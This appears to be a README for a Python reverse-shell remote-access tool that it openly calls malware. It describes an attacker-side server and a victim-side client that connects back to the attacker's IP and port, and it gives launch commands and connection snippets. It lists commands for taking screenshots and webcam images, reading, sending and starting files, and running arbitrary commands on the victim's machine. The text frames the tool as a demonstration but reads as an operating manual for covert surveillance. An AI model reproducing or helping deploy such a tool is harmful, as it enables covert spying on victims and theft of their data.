Malware-ReverseShell

This python malware-program is a presentation of how can reverse shell works.

Revershe shell is type of malware where device of victim is connected in background to attacker. This way attacker can remotely control victim's computer, watch their activity, grab information and really anything that is in his desire.

Reverse shell malwares are divided into two main programs:

Server Side Program

Server side of the program belong to hacker/attacker.

Server program is started on specified ip address which can be as public as local with opened port. To this parameters is going to be victim connected. It is a console application so everything is happening inside of a console/terminal.

After successfully established connection attacker (server) can start sending pre-defined commands to victim (client). Some commands can be used before any client is connected (i named them server commands), but most of them are working only with connected client (server-client commands).

Make server running and listening for upcomming connections

Use console arguments

Show all possible commands/arguments

python server.py --help

Set ip address

python server.py -ip [ip address]

Set port

python server.py -port [port]

If you don't want to manually set your ip address, you can use these arguments:

Sets server on your local ip address

python server.py -get-local-ip

Sets server on your public ip address

python server.py -get-external-ip

Specify parameters in program

ip = '192.168.1.136'
port = 5000
server = Server(ip, port)
server.run()

Console Enviroment - Commands

When you're in program after server's been initialized and it is listening for connections in background you still use commands that are not relited to client. These commands are only affecting your running server program.

You can list through all possible commands with command list or print commands.

Server commands

print commands

print commands / list

clear the screen

clear

show ip address

show ip

show port

show port

show directory where screenshots are going to be saved

show screenshots directory

show directory where webcam shots are going to be saved

show webcam shots directory

save ip and port data

save

set socket by client's name

set [client's id or name]

unset current selected user

unset

print new connections

wait

show all connected clients

clients

rename client

rename [oldname newname]

show name instead of path

name mode

Server-client commands

These are the commands that are related to client and they are sent to client wich is responding on them.

You list through the connected clients with command client.

After this you can set a client with command set [client's id or name] by clients id or name.

That's it! You can now send all cool commands to client and just like that start crawling through victim's computer, making screenshot, reading, sending or starting files etc. .

simple check if connection is all right with client

check

request name from client

get name

set and show client's path instead of name

path mode

change directory

cd [options/directory]

list directory

dir [options]

open web page by url

web [url]

Get screenshot from client

-d -> directory where screenshots are going to be saved

-s -> set start number for saving screenshots

screenshot [-d (directory), -s (start number)]

Get image from client's webcam

webcam

read and save file from client

read [file]

send file

send [file]

start and open file

start [file]

reset connection with client

reset

send any other command

[command] -c

close the program

close/exit/quit

Client Side Program

Before malware is started on client's machine, it needs to be configure it with server ip and port on wich server is listening for connections.

Client's program is going to overly trying to connect to this ip address and port.

After client is connected, everything is ready for attacker and he can start manipulating victim's device.

Initialize client's program by adding these cuple lines inside of client's malware program:

server_ip = '192.168.1.136'
port = 5000
name = 'my_brother'
client = Client(server_ip, port, name)
client.run()

In those examples I've used local ip address. Of course you can use public ip addresses but for that you need to have set up your own server with public ip address or without a public server you can try port forwarding (if you own public ip address from your isp) but be careful around that because there is a lot of security issues that can come.
